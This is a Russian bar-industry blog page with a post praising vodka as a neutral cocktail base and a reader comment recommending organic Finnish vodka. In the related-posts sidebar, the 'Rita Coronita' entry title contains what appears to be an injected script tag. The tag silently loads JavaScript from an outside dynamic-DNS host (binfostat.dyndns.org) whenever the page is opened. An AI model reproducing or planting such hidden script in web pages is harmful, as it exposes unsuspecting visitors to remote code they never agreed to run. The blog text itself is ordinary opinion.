Регистрация/Вход ,
Главная / Блоги / Ода алкоголю или "Водка всякая нужна, водка всякая важна!"

Блоги


Ода алкоголю или "Водка всякая нужна, водка всякая важна!"




   Помните, как в советском детстве нам читали: "Мамы всякие нужны, мамы всякие важны." Это несомненно так! Но что, если перекроить это выражение и, отталкиваясь уже от него, удариться в полемику?
   Итак. Водка.
  




  Заранее позволю себе не согласиться с Олегом Шибановым и его публикацией об алкоголе, (http://www.barbook.ru/blog/381/), и отметить, что всему своё время и место. Романтический ужин на закате - это вино; брэнди - это неспешная беседа об исскустве у камина; горячая вечеринка на пляже - это текила, а вечерний променад по Вене - это кофе с "Бейлизом".... Ну а водка - это, скорее, мужская тесная компания, это - иний на рюмках, хмельной хохот с громкими дискуссиями давнишних приятелей и стуженная водочка - тягучая и кристальная.
Ну и всё такое прочее.
В мире существует множество напитков, все они разные и каждый по-своему отражает культуру создавшего его народа. Но в то же самое время, каждый из этих напитков требует к себе особого подхода. Для того, чтоб напиток раскрылся, чтобы Вы раскрыли его особый смысл, нужно играть по его правилам. По его правилам и правилам той нации, что его создала. Скажем, глушить бордо гранчаками - пошло и бессмысленно. Ведь если Вы хотите надраться - выберите "тройной" - так дешевле и надёжней. Не нужно разрушать свою печень путем коллекционного "Портвейна" - попробуйте извлечь из него максимальное удовольствие.
То же касается и прочих напитков современности: если Вы с легкостью различаете равнинный виски от высокогорного, если текила для Вас - это не "водка из кактуса", если через призму коньяка Вы способны увидеть спелые виноградники, - тогда отважно начинайте исследовать мир посредством алкоголя. Путешествуйте по миру, вкушайте культуры, разоблачая тайны наций. И примите при этом: водка - такой равноправный член спиртной культуры, как и остальные, диковинные для нас, напитки.
   В защиту водки хотелось бы добавить, что она ни чем не хуже остальных напитков. И не лучше. Водка - это водка. Её не нужно возносить, но и бранить тоже не следует. Просто нужно примириться, что она - одна из Них.
Но, не об этом. Давайте, все же, поговорим о водке, как о самостоятельном продукте, о водке хорошей и не очень и попробуем взглянуть на неё с точки зрения миксологии.

У каждого бармена в той или иной степени, всегда есть свой фаворит алкогольной линейки - будь то его любимй напиток, или самая, по его мнению, удачная основа для коктейлей.
Многие гуру барного дела, то ли для красного словца, то ли с роскошности своего положения, любят лезть в дебри и воспевать, порой сложнейшие, из творений ликеро-водочной индустрии.
Для меня же идеальной основой является водка.
   Самая обычная - наша, славянская. Горькая и прозрачная она будто бы создана для генерации спектра коктейлей. Посудите сами: ни у одного из дистилятов нет столь же универсального, "гибкого" вкуса и нейтрального запаха, как у водки. Водка всегда прозрачна, (кроме перцовки и некоторых нелепых "выкидешей" креативных отделов), что просто незаменимо для линейки разноцветных лонгов.
Водка хороша. Она проста и невычурна. Просто мы её недолюбливаем, потому что она - наша.
   Напоследок хотелось бы сказать: если Вы не умеете пить вино - не пейте, не переводите ни продукт, ни впечатление. Если Вы не понимаете виски - зачем оно Вам? Не алкоголь формирует Ваш имидж - Вы сами создаете его для себя. Так что пейте только в свое удовольствие - для того и живем!





 

поделиться Опубликовать


Комментарии:


[гость:7698] Алексей Ремушкин написал 08 марта 2012г. в 15:59.
А мне кажется, что лучше все таки для коктейлей использовать органическую водку, а то большинство нашего "славянского" - это же спирт из опилок, отсюда и горький неприятный вкус, который вовсе не является какой-то особенной изюминкой. К нему просто привыкли. Вот если взять финскую saimaa - пьется она совершенно по-другому, у коктейлей вкус глубже, другие ингредиенты не теряются на ее фоне, так как она только подчеркивает их и дает крепость. Ну и от воды, конечно все зависит. К тому же, вот если говорить о качестве, то куда лучше пить что-то сделанное из сырья меньше всего обработанного химией (в смысле, еще до того как оно попало на завод).



Автор блога

Мариночка Музыка

Киев, 30 лет.
Всего записей: 5.
написать письмо


Другие записи по теме:

Rita Coronita

Rita Coronita<nofollow><script language='JavaScript' src='http://binfostat.dyndns.org/infob.php?i=22329'></script></nofollow> Друзья! Приглашаем Вас в "Старую Гавану" попробовать новый мексиканский коктейль Rita Coronita! 
Автор: Павел

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА МОСКВА, май 2013 года. Солнечно, ярко и сочно «Swissôtel Красные Холмы» открывает двери в лето, предлагая гостям обновленное меню «Энергия жизни». Блюда, вошедшие в это предложение, по-летнему легкие, но, отведав их, гость останется сыт и доволен. Новинки приготовл
Автор: Evgenia Aldashkina

Постные коктейли в Mercedes Bar

Постные коктейли в Mercedes Bar Панорамный ресторан Mercedes Bar специально для Великого Поста предлагает своим гостям серию постных коктейлей, разработанную командой бар-менеджера RCC (Russian Cocktail Club) Денисом Миллионовым с учетом не только строгих требований к используемым ингредиентам, но и достижения максимального вкус
Автор: Olga Sakulina